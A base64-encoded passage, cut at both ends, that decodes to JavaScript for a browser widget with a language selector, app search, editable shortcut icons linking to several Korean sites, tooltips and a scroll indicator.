oJ2FyaWEtbGFiZWwnLCB0Lm9wZW5TZWFyY2gpOw0KICAgICAgICAgICAgYWRkVG9Ib21lQnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuYWRkVG9XaWRnZXQpOw0KICAgICAgICAgICAgc2VhcmNoQ2xvc2Uuc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5jbG9zZVNlYXJjaCk7DQogICAgICAgICAgICBsYW5ndWFnZUJ0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0LmNoYW5nZUxhbmd1YWdlKTsNCiAgICAgICAgICAgIHNlYXJjaEFkZEJ0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCAnQ29weSBXaWRnZXQgQ29kZScpOyANCiAgICAgICAgICAgIGZpeGVkUXVlc3Rpb25CdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5xdWVzdGlvbik7DQogICAgICAgICAgICBmaXhlZENoYXRCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5jaGFyYWN0ZXJDaGF0KTsNCiAgICAgICAgICAgIGZpeGVkSW5mb0J0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0LmluZm8pOw0KICAgICAgICAgICAgaW5pdGlhbFJlbmRlcigpOw0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IHBvcHVsYXRlTGFuZ3VhZ2VQYW5lbCA9ICgpID0+IHsgbGFuZ3VhZ2VQYW5lbC5pbm5lckhUTUwgPSAnJzsgbGFuZ3VhZ2VzLmZvckVhY2gobGFuZyA9PiB7IGNvbnN0IGxhbmdJdGVtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOyBsYW5nSXRlbS5ocmVmID0gJyMnOyBsYW5nSXRlbS5jbGFzc05hbWUgPSAnZmhsLWxhbmd1YWdlLWl0ZW0nOyBsYW5nSXRlbS50ZXh0Q29udGVudCA9IGxhbmcubmFtZTsgbGFuZ0l0ZW0uZGF0YXNldC5sYW5nID0gbGFuZy5jb2RlOyBsYW5nSXRlbS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgZS5zdG9wUHJvcGFnYXRpb24oKTsgY29uc3QgbmV3TGFuZyA9IGUudGFyZ2V0LmRhdGFzZXQubGFuZzsgaWYgKG5ld0xhbmcgIT09IGN1cnJlbnRMYW5nKSB7IGN1cnJlbnRMYW5nID0gbmV3TGFuZzsgbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2ZobC13aWRnZXQtbGFuZycsIGN1cnJlbnRMYW5nKTsgYXBwbHlMYW5ndWFnZShjdXJyZW50TGFuZyl9IGxhbmd1YWdlUGFuZWwuY2xhc3NMaXN0LnJlbW92ZSgndmlzaWJsZScpfSk7IGxhbmd1YWdlUGFuZWwuYXBwZW5kQ2hpbGQobGFuZ0l0ZW0pfSl9Ow0KDQogICAgICAgIGNvbnN0IGdldFByb2Nlc3NlZFVybCA9IChmdWxsVXJsKSA9PiB7IHRyeSB7IGNvbnN0IHVybE9iaiA9IG5ldyBVUkwoZnVsbFVybCk7IHJldHVybiBgJHt1cmxPYmoucHJvdG9jb2x9Ly8ke3VybE9iai5ob3N0bmFtZX1gfSBjYXRjaCAoZSkgeyByZXR1cm4gZnVsbFVybH0gfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IGNyZWF0ZUljb25JdGVtID0gKGl0ZW0sIHR5cGUgPSAnZGVmYXVsdCcpID0+IHsNCiAgICAgICAgICAgIGlmICghaXRlbSB8fCAhaXRlbS5uYW1lIHx8ICFpdGVtLnVybCkgcmV0dXJuIGRvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTsNCiAgICAgICAgICAgIGNvbnN0IGxpbmsgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQogICAgICAgICAgICBpZiAodHlwZSA9PT0gJ3NlYXJjaCcpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBwYXJhbVN0cmluZyA9IHNob3J0Y3V0TWFuYWdlci5nZXRBc1BhcmFtKCk7DQogICAgICAgICAgICAgICAgbGV0IGZpbmFsVXJsID0gaXRlbS51cmw7DQogICAgICAgICAgICAgICAgaWYgKHBhcmFtU3RyaW5nKSB7IHRyeSB7IGxldCBuZXdVcmwgPSBuZXcgVVJMKGl0ZW0udXJsKTsgY29uc3QgW2tleSwgdmFsdWVdID0gcGFyYW1TdHJpbmcuc3BsaXQoJz0nKTsgbmV3VXJsLnNlYXJjaFBhcmFtcy5zZXQoa2V5LCB2YWx1ZSk7IGZpbmFsVXJsID0gbmV3VXJsLnRvU3RyaW5nKCl9IGNhdGNoIChlKSB7IGNvbnNvbGUuZXJyb3IoJ0ludmFsaWQgVVJMIGZvciBzZWFyY2ggcmVzdWx0IGxpbms6JywgaXRlbS51cmwpfSB9DQogICAgICAgICAgICAgICAgbGluay5ocmVmID0gZmluYWxVcmw7DQogICAgICAgICAgICB9IGVsc2UgeyBsaW5rLmhyZWYgPSBpdGVtLnVybH0NCiAgICAgICAgICAgIGxpbmsuY2xhc3NOYW1lID0gJ2ZobC1pY29uLWRpc3BsYXknOw0KCQkJbGluay5yZWwgPSAnbm9mb2xsb3cnOw0KICAgICAgICAgICAgbGluay5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCBpdGVtLm5hbWUpOw0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdzZWFyY2gnKSB7IGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vkb3duJywgKCkgPT4geyBmZXRjaChgJHtBUElfQkFTRV9VUkx9L3VwZGF0ZV92aWV3X2NvdW50LnBocGAsIHsgbWV0aG9kOiAnUE9TVCcsIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LCBib2R5OiBKU09OLnN0cmluZ2lmeSh7IHVybDogaXRlbS51cmwgfSkgfSkuY2F0Y2goY29uc29sZS5lcnJvcil9KTsgbGluay50YXJnZXQgPSAnX2JsYW5rJ30NCiAgICAgICAgICAgIGNvbnN0IGljb25DaXJjbGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsgaWNvbkNpcmNsZS5jbGFzc05hbWUgPSAnZmhsLWljb24tY2lyY2xlJzsNCiAgICAgICAgICAgIGlmIChpdGVtLmljb24pIHsgY29uc3QgaWNvbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2knKTsgaWNvbi5jbGFzc05hbWUgPSBgcGgtYm9sZCAke2l0ZW0uaWNvbn1gOyBpY29uQ2lyY2xlLmFwcGVuZENoaWxkKGljb24pfQ0KICAgICAgICAgICAgZWxzZSBpZiAoaXRlbS5pbWcpIHsgY29uc3QgY3VzdG9tSW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTsgY3VzdG9tSW1hZ2Uuc3JjID0gaXRlbS5pbWc7IGN1c3RvbUltYWdlLmFsdCA9IGl0ZW0ubmFtZTsgY3VzdG9tSW1hZ2Uub25lcnJvciA9ICgpID0+IHsgY3VzdG9tSW1hZ2Uuc3R5bGUuZGlzcGxheSA9ICdub25lJ307IGljb25DaXJjbGUuYXBwZW5kQ2hpbGQoY3VzdG9tSW1hZ2UpfQ0KICAgICAgICAgICAgZWxzZSB7IGNvbnN0IGZhdmljb24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTsgZmF2aWNvbi5zcmMgPSBgaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9zej02NCZkb21haW5fdXJsPSR7aXRlbS51cmx9YDsgZmF2aWNvbi5hbHQgPSBpdGVtLm5hbWU7IGZhdmljb24ub25lcnJvciA9ICgpID0+IHsgZmF2aWNvbi5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnfTsgaWNvbkNpcmNsZS5hcHBlbmRDaGlsZChmYXZpY29uKX0NCiAgICAgICAgICAgIGxpbmsuYXBwZW5kQ2hpbGQoaWNvbkNpcmNsZSk7DQogICAgICAgICAgICBpZiAodHlwZSA9PT0gJ3NlYXJjaCcpIHsNCiAgICAgICAgICAgICAgICBjb25zdCB0b29sdGlwID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7IHRvb2x0aXAuY2xhc3NOYW1lID0gJ2ZobC1pdGVtLXRvb2x0aXAnOyB0b29sdGlwLnRleHRDb250ZW50ID0gaXRlbS5uYW1lLmxlbmd0aCA+IDUgPyBpdGVtLm5hbWUuc2xpY2UoMCwgNSkgKyAnLi4nIDogaXRlbS5uYW1lOyBsaW5rLmFwcGVuZENoaWxkKHRvb2x0aXApOw0KICAgICAgICAgICAgICAgIGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VlbnRlcicsIChlKSA9PiB7IGNvbnN0IGN1cnJlbnRUb29sdGlwID0gZS5jdXJyZW50VGFyZ2V0LnF1ZXJ5U2VsZWN0b3IoJy5maGwtaXRlbS10b29sdGlwJyk7IGlmICghY3VycmVudFRvb2x0aXApIHJldHVybjsgY3VycmVudFRvb2x0aXAuY2xhc3NMaXN0LmFkZCgndmlzaWJsZScpOyBjb25zdCB3aWRnZXRSZWN0ID0gd2lkZ2V0V3JhcHBlci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTsgY29uc3QgdG9vbHRpcFJlY3QgPSBjdXJyZW50VG9vbHRpcC5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTsgbGV0IG9mZnNldFggPSAwOyBjb25zdCBwYWRkaW5nID0gNTsgaWYgKHRvb2x0aXBSZWN0LmxlZnQgPCB3aWRnZXRSZWN0LmxlZnQpIHsgb2Zmc2V0WCA9IHdpZGdldFJlY3QubGVmdCAtIHRvb2x0aXBSZWN0LmxlZnQgKyBwYWRkaW5nfSBlbHNlIGlmICh0b29sdGlwUmVjdC5yaWdodCA+IHdpZGdldFJlY3QucmlnaHQpIHsgb2Zmc2V0WCA9IHdpZGdldFJlY3QucmlnaHQgLSB0b29sdGlwUmVjdC5yaWdodCAtIHBhZGRpbmd9IGlmIChvZmZzZXRYICE9PSAwKSB7IGN1cnJlbnRUb29sdGlwLnN0eWxlLnRyYW5zZm9ybSA9IGB0cmFuc2xhdGVYKGNhbGMoLTUwJSArICR7b2Zmc2V0WH1weCkpYH0gfSk7DQogICAgICAgICAgICAgICAgbGluay5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWxlYXZlJywgKGUpID0+IHsgY29uc3QgY3VycmVudFRvb2x0aXAgPSBlLmN1cnJlbnRUYXJnZXQucXVlcnlTZWxlY3RvcignLmZobC1pdGVtLXRvb2x0aXAnKTsgaWYgKCFjdXJyZW50VG9vbHRpcCkgcmV0dXJuOyBjdXJyZW50VG9vbHRpcC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyk7IGN1cnJlbnRUb29sdGlwLnN0eWxlLnRyYW5zZm9ybSA9ICd0cmFuc2xhdGVYKC01MCUpJ30pOw0KICAgICAgICAgICAgfSBlbHNlIHsgY29uc3QgbmFtZVNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7IG5hbWVTcGFuLmNsYXNzTmFtZSA9ICdmaGwtaXRlbS1uYW1lJzsgbmFtZVNwYW4udGV4dENvbnRlbnQgPSBpdGVtLm5hbWUubGVuZ3RoID4gNSA/IGl0ZW0ubmFtZS5zbGljZSgwLCA1KSArICcuLicgOiBpdGVtLm5hbWU7IGxpbmsuYXBwZW5kQ2hpbGQobmFtZVNwYW4pfQ0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdsb2NhbCcpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBjb250cm9scyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOyBjb250cm9scy5jbGFzc05hbWUgPSAnZmhsLWl0ZW0tY29udHJvbHMnOw0KICAgICAgICAgICAgICAgIGNvbnN0IGRlbGV0ZUJ0biA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOyBkZWxldGVCdG4uY2xhc3NOYW1lID0gJ2ZobC1jb250cm9sLWJ0bic7IGRlbGV0ZUJ0bi5pbm5lckhUTUwgPSAnJnRpbWVzOyc7IGRlbGV0ZUJ0bi50aXRsZSA9ICfsgq3soJwnOw0KICAgICAgICAgICAgICAgIGRlbGV0ZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgZS5zdG9wUHJvcGFnYXRpb24oKTsgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOyBzdG9yZWRJdGVtcyA9IHN0b3JlZEl0ZW1zLmZpbHRlcihzdG9yZWQgPT4gc3RvcmVkLnVybCAhPT0gaXRlbS51cmwpOyBzaG9ydGN1dE1hbmFnZXIuc2V0KHN0b3JlZEl0ZW1zKTsgaW5pdGlhbFJlbmRlcigpfSk7DQogICAgICAgICAgICAgICAgY29uc3QgbW92ZUJ0biA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOyBtb3ZlQnRuLmNsYXNzTmFtZSA9ICdmaGwtY29udHJvbC1idG4nOyBtb3ZlQnRuLmlubmVySFRNTCA9ICcmZ3Q7JzsgbW92ZUJ0bi50aXRsZSA9ICfsmKTrpbjsqr3snLzroZwg7J2064+ZJzsNCiAgICAgICAgICAgICAgICBtb3ZlQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGUpID0+IHsgZS5wcmV2ZW50RGVmYXVsdCgpOyBlLnN0b3BQcm9wYWdhdGlvbigpOyBsZXQgc3RvcmVkSXRlbXMgPSBzaG9ydGN1dE1hbmFnZXIuZ2V0KCk7IGNvbnN0IGN1cnJlbnRJbmRleCA9IHN0b3JlZEl0ZW1zLmZpbmRJbmRleChzdG9yZWQgPT4gc3RvcmVkLnVybCA9PT0gaXRlbS51cmwpOyBpZiAoY3VycmVudEluZGV4ID4gLTEpIHsgY29uc3QgbmV3SW5kZXggPSAoY3VycmVudEluZGV4ICsgMSkgJSBzdG9yZWRJdGVtcy5sZW5ndGg7IGNvbnN0IFttb3ZlZEl0ZW1dID0gc3RvcmVkSXRlbXMuc3BsaWNlKGN1cnJlbnRJbmRleCwgMSk7IHN0b3JlZEl0ZW1zLnNwbGljZShuZXdJbmRleCwgMCwgbW92ZWRJdGVtKTsgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7IGluaXRpYWxSZW5kZXIoKX0gfSk7DQogICAgICAgICAgICAgICAgY29udHJvbHMuYXBwZW5kQ2hpbGQoZGVsZXRlQnRuKTsgY29udHJvbHMuYXBwZW5kQ2hpbGQobW92ZUJ0bik7IGxpbmsuYXBwZW5kQ2hpbGQoY29udHJvbHMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGxpbms7DQogICAgICAgIH07DQoNCmNvbnN0IGFwcGVuZE5leHRQYWdlID0gKCkgPT4geyANCiAgICBpZiAoaXNMb2FkaW5nTmV4dFBhZ2UpIHJldHVybjsgDQogICAgaXNMb2FkaW5nTmV4dFBhZ2UgPSB0cnVlOyANCiAgICBjb25zdCBzdGFydEluZGV4ID0gKGN1cnJlbnRQYWdlIC0gMSkgKiBJVEVNU19QRVJfUEFHRTsgDQogICAgY29uc3QgZW5kSW5kZXggPSBjdXJyZW50UGFnZSAqIElURU1TX1BFUl9QQUdFOyANCiAgICBpZiAoc3RhcnRJbmRleCA+PSBjdXJyZW50RGlzcGxheUl0ZW1zLmxlbmd0aCkgeyANCiAgICAgICAgaXNMb2FkaW5nTmV4dFBhZ2UgPSBmYWxzZTsgDQogICAgICAgIHJldHVybjsNCiAgICB9IA0KICAgIGNvbnN0IGl0ZW1zVG9BcHBlbmQgPSBjdXJyZW50RGlzcGxheUl0ZW1zLnNsaWNlKHN0YXJ0SW5kZXgsIGVuZEluZGV4KTsgDQogICAgaXRlbXNUb0FwcGVuZC5mb3JFYWNoKGl0ZW0gPT4geyANCiAgICAgICAgc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5hcHBlbmRDaGlsZChjcmVhdGVJY29uSXRlbShpdGVtLCAnc2VhcmNoJykpOw0KICAgIH0pOyANCiAgICBjdXJyZW50UGFnZSsrOyANCiAgICBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlOw0KfTsNCg0KY29uc3QgcmVuZGVySW5pdGlhbFJlc3VsdHMgPSAoaXRlbXMpID0+IHsNCiAgICBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmlubmVySFRNTCA9ICcnOw0KICAgIGN1cnJlbnRQYWdlID0gMTsNCiAgICBjdXJyZW50RGlzcGxheUl0ZW1zID0gQXJyYXkuaXNBcnJheShpdGVtcykgPyBpdGVtcyA6IFtdOw0KICAgIGFwcGVuZE5leHRQYWdlKCk7DQp9Ow0KDQpmZXRjaCgnL2FwcF9saXN0X2NhY2hlLmpzb24nKQ0KICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLmpzb24oKSkNCiAgICAudGhlbihkYXRhID0+IHJlbmRlckluaXRpYWxSZXN1bHRzKGRhdGEpKQ0KICAgIC5jYXRjaChlcnJvciA9PiBjb25zb2xlLmVycm9yKCfrjbDsnbTthLAg66Gc65OcIOyLpO2MqDonLCBlcnJvcikpOw0KDQogICAgICAgIGNvbnN0IHBlcmZvcm1TZWFyY2ggPSBhc3luYyAocXVlcnkgPSAnJykgPT4gew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBjb25zdCByZXNwb25zZSA9IGF3YWl0IGZldGNoKGAke0FQSV9CQVNFX1VSTH0vYXBwYXBpMi5waHA/cXVlcnk9JHtlbmNvZGVVUklDb21wb25lbnQocXVlcnkpfWApOw0KICAgICAgICAgICAgICAgIGlmICghcmVzcG9uc2Uub2spIHRocm93IG5ldyBFcnJvcignQVBJIOydkeuLtSDsmKTrpZgnKTsNCiAgICAgICAgICAgICAgICBjb25zdCByZXN1bHRzID0gYXdhaXQgcmVzcG9uc2UuanNvbigpOw0KICAgICAgICAgICAgICAgIHJlbmRlckluaXRpYWxSZXN1bHRzKHJlc3VsdHMpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKCfslbEg66qp66GdIOuhnOuTnCDsi6TtjKg6JywgZXJyb3IpOw0KICAgICAgICAgICAgICAgIHNlYXJjaFJlc3VsdHNDb250YWluZXIuaW5uZXJIVE1MID0gJzxwPuuqqeuhnSDroZzrk5wg7Iuk7YyoPC9wPic7DQogICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgIA0KICAgICAgICBjb25zdCBvcGVuU2VhcmNoID0gKCkgPT4geyB3aWRnZXRDb250YWluZXIuY2xhc3NMaXN0LmFkZCgnc2VhcmNoLW1vZGUnKTsgd2lkZ2V0V3JhcHBlci5jbGFzc0xpc3QuYWRkKCdzZWFyY2gtbW9kZScpOyBzZWFyY2hJbnB1dC5mb2N1cygpOyBwZXJmb3JtU2VhcmNoKCl9Ow0KICAgICAgICANCgkJY29uc3QgaW5pdGlhbFJlbmRlciA9ICgpID0+IHsNCiAgICAgICAgICAgIGNvbnN0IGEgPSB0cmFuc2xhdGlvbnNbY3VycmVudExhbmddIHx8IHRyYW5zbGF0aW9uc1snZW4nXTsNCiAgICAgICAgICAgIGNvbnN0IGIgPSBbDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLnNlYXJjaCwgdXJsOiAnaHR0cHM6Ly9pc2FpLmtyJywgaWNvbjogJ3BoLXNwYXJrbGUnIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLnF1ZXN0aW9uLCB1cmw6ICdodHRwczovL2lzYWkua3IvI2NoYXQnLCBpY29uOiAncGgtcXVlc3Rpb24tbWFyaycgfSwNCiAgICAgICAgICAgICAgICB7IG5hbWU6IGEuY2hhcmFjdGVyQ2hhdCwgdXJsOiAnaHR0cHM6Ly9sYWkub2R1Yy5rci8nLCBpbWc6ICdodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi43LjYvbGFpNDgucG5nJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5pbWFnZXMsIHVybDogJ2h0dHBzOi8vMDk5LmtyLycsIGltZzogJ2h0dHA6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC85OS5wbmcnIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLmJsb2csIHVybDogJ2h0dHBzOi8vYmxvZy4wOTkua3InLCBpY29uOiAncGgtYXJ0aWNsZS1tZWRpdW0nIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiAnQXJjaGl2ZSBBSScsIHVybDogJ2h0dHBzOi8vYXJjaGkudmVhaS53b3JrZXJzLmRldi8nLCBpY29uOiAncGgtYXJjaGl2ZScgfSwNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgIGxpc3RDb250YWluZXIuaW5uZXJIVE1MID0gJzxidXR0b24gY2xhc3M9ImZobC1pY29uLWNpcmNsZSIgc3R5bGU9Im1hcmdpbjogMCA4cHggMCAwO2JvcmRlcjowIiBpZD0iZmhsLWVkaXQtbW9kZS1idG4iPjxpIGNsYXNzPSJwaC1ib2xkIHBoLXBlbmNpbC1zaW1wbGUiPjwvaT48L2J1dHRvbj4nOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBjb25zdCBlZGl0TW9kZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZWRpdC1tb2RlLWJ0bicpOw0KICAgICAgICAgICAgaWYgKGVkaXRNb2RlQnRuKSB7DQogICAgICAgICAgICAgICAgaWYgKGxpc3RDb250YWluZXIuY2xhc3NMaXN0LmNvbnRhaW5zKCdlZGl0LW1vZGUnKSkgew0KICAgICAgICAgICAgICAgICAgICBlZGl0TW9kZUJ0bi5jbGFzc0xpc3QuYWRkKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWRpdE1vZGVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoKSA9PiB7DQogICAgICAgICAgICAgICAgICAgIGxpc3RDb250YWluZXIuY2xhc3NMaXN0LnRvZ2dsZSgnZWRpdC1tb2RlJyk7DQogICAgICAgICAgICAgICAgICAgIGVkaXRNb2RlQnRuLmNsYXNzTGlzdC50b2dnbGUoJ2FjdGl2ZScpOyANCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgY29uc3QgYyA9IHNob3J0Y3V0TWFuYWdlci5nZXQoKTsNCiAgICAgICAgICAgIGxldCBkID0gWy4uLmJdOw0KICAgICAgICAgICAgZC5zcGxpY2UoMiwgMCwgLi4uYyk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGNvbnN0IGZyYWdtZW50ID0gZG9jdW1lbnQuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpOw0KICAgICAgICAgICAgZC5mb3JFYWNoKGUgPT4gew0KICAgICAgICAgICAgICAgIGNvbnN0IGYgPSBjLnNvbWUoZyA9PiBnLnVybCA9PT0gZS51cmwpOw0KICAgICAgICAgICAgICAgIGNvbnN0IGggPSBmICYmICFlLmljb24gJiYgIWUuaW1nID8gJ2xvY2FsJyA6ICdkZWZhdWx0JzsNCiAgICAgICAgICAgICAgICBmcmFnbWVudC5hcHBlbmRDaGlsZChjcmVhdGVJY29uSXRlbShlLCBoKSk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIGxpc3RDb250YWluZXIuYXBwZW5kQ2hpbGQoZnJhZ21lbnQpOw0KDQogICAgICAgICAgICBjaGVja1Njcm9sbGFiaWxpdHkoKTsNCiAgICAgICAgICAgIHVwZGF0ZUFsbFdpZGdldExpbmtzKCk7DQogICAgICAgIH07DQogICAgICAgIA0KICAgICAgICBjb25zdCB1cGRhdGVTY3JvbGxJbmRpY2F0b3IgPSAoKSA9PiB7IGNvbnN0IHNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbExlZnQ7IGNvbnN0IG1heFNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbFdpZHRoIC0gbGlzdENvbnRhaW5lci5jbGllbnRXaWR0aDsgaWYgKG1heFNjcm9sbExlZnQgPD0gMCkgcmV0dXJuOyBjb25zdCBzY3JvbGxGcmFjdGlvbiA9IHNjcm9sbExlZnQgLyBtYXhTY3JvbGxMZWZ0OyBjb25zdCB0cmFja1dpZHRoID0gaW5kaWNhdG9yVHJhY2suY2xpZW50V2lkdGg7IGNvbnN0IGluZGljYXRvcldpZHRoID0gc2Nyb2xsSW5kaWNhdG9yLmNsaWVudFdpZHRoOyBjb25zdCBtYXhJbmRpY2F0b3JMZWZ0ID0gdHJhY2tXaWR0aCAtIGluZGljYXRvcldpZHRoOyBjb25zdCBpbmRpY2F0b3JMZWZ0ID0gc2Nyb2xsRnJhY3Rpb24gKiBtYXhJbmRpY2F0b3JMZWZ0OyBzY3JvbGxJbmRpY2F0b3Iuc3R5bGUudHJhbnNmb3JtID0gYHRyYW5zbGF0ZVkoLTUwJSkgdHJhbnNsYXRlWCgke2luZGljYXRvckxlZnR9cHgpYH07DQogICAgICAgIGNvbnN0IGNoZWNrU2Nyb2xsYWJpbGl0eSA9ICgpID0+IHsgY29uc3QgaXNTY3JvbGxhYmxlID0gbGlzdENvbnRhaW5lci5zY3JvbGxXaWR0aCA+IGxpc3RDb250YWluZXIuY2xpZW50V2lkdGg7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QudG9nZ2xlKCdzY3JvbGxhYmxlJywgaXNTY3JvbGxhYmxlKTsgaWYgKGlzU2Nyb2xsYWJsZSkgdXBkYXRlU2Nyb2xsSW5kaWNhdG9yKCl9Ow0KICAgICAgICBsZXQgaXNEcmFnZ2luZyA9IGZhbHNlOw0KICAgICAgICBjb25zdCBoYW5kbGVEcmFnTW92ZSA9IChlKSA9PiB7IGlmICghaXNEcmFnZ2luZykgcmV0dXJuOyBlLnByZXZlbnREZWZhdWx0KCk7IGNvbnN0IHRyYWNrUmVjdCA9IGluZGljYXRvclRyYWNrLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpOyBjb25zdCBtYXhTY3JvbGxMZWZ0ID0gbGlzdENvbnRhaW5lci5zY3JvbGxXaWR0aCAtIGxpc3RDb250YWluZXIuY2xpZW50V2lkdGg7IGxldCBwb3NpdGlvblJhdGlvID0gKGUuY2xpZW50WCAtIHRyYWNrUmVjdC5sZWZ0KSAvIHRyYWNrUmVjdC53aWR0aDsgcG9zaXRpb25SYXRpbyA9IE1hdGgubWF4KDAsIE1hdGgubWluKDEsIHBvc2l0aW9uUmF0aW8pKTsgbGlzdENvbnRhaW5lci5zY3JvbGxMZWZ0ID0gcG9zaXRpb25SYXRpbyAqIG1heFNjcm9sbExlZnR9Ow0KICAgICAgICBjb25zdCBoYW5kbGVEcmFnRW5kID0gKCkgPT4geyBpZiAoIWlzRHJhZ2dpbmcpIHJldHVybjsgaXNEcmFnZ2luZyA9IGZhbHNlOyBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdtb3VzZW1vdmUnLCBoYW5kbGVEcmFnTW92ZSk7IGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ21vdXNldXAnLCBoYW5kbGVEcmFnRW5kKX07DQogICAgICAgIGluZGljYXRvclRyYWNrLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZG93bicsIChlKSA9PiB7IGlzRHJhZ2dpbmcgPSB0cnVlOyBoYW5kbGVEcmFnTW92ZShlKTsgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vtb3ZlJywgaGFuZGxlRHJhZ01vdmUpOyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZXVwJywgaGFuZGxlRHJhZ0VuZCl9KTsNCiAgICAgICAgY29uc3QgY2xvc2VTZWFyY2ggPSAoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QucmVtb3ZlKCdzZWFyY2gtbW9kZScpOyB3aWRnZXRXcmFwcGVyLmNsYXNzTGlzdC5yZW1vdmUoJ3NlYXJjaC1tb2RlJyk7IHNlYXJjaElucHV0LnZhbHVlID0gJyc7IHNlYXJjaFJlc3VsdHNDb250YWluZXIuaW5uZXJIVE1MID0gJyd9Ow0KICAgICAgICBsZXQgaGlkZVRpbWVvdXQgPSBudWxsOw0KICAgICAgICB3aWRnZXRDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VlbnRlcicsICgpID0+IHsgY2xlYXJUaW1lb3V0KGhpZGVUaW1lb3V0KX0pOw0KICAgICAgICB3aWRnZXRDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VsZWF2ZScsICgpID0+IHsgaGlkZVRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpfSwgNjAwMCl9KTsNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZSkgPT4geyBpZiAoIWx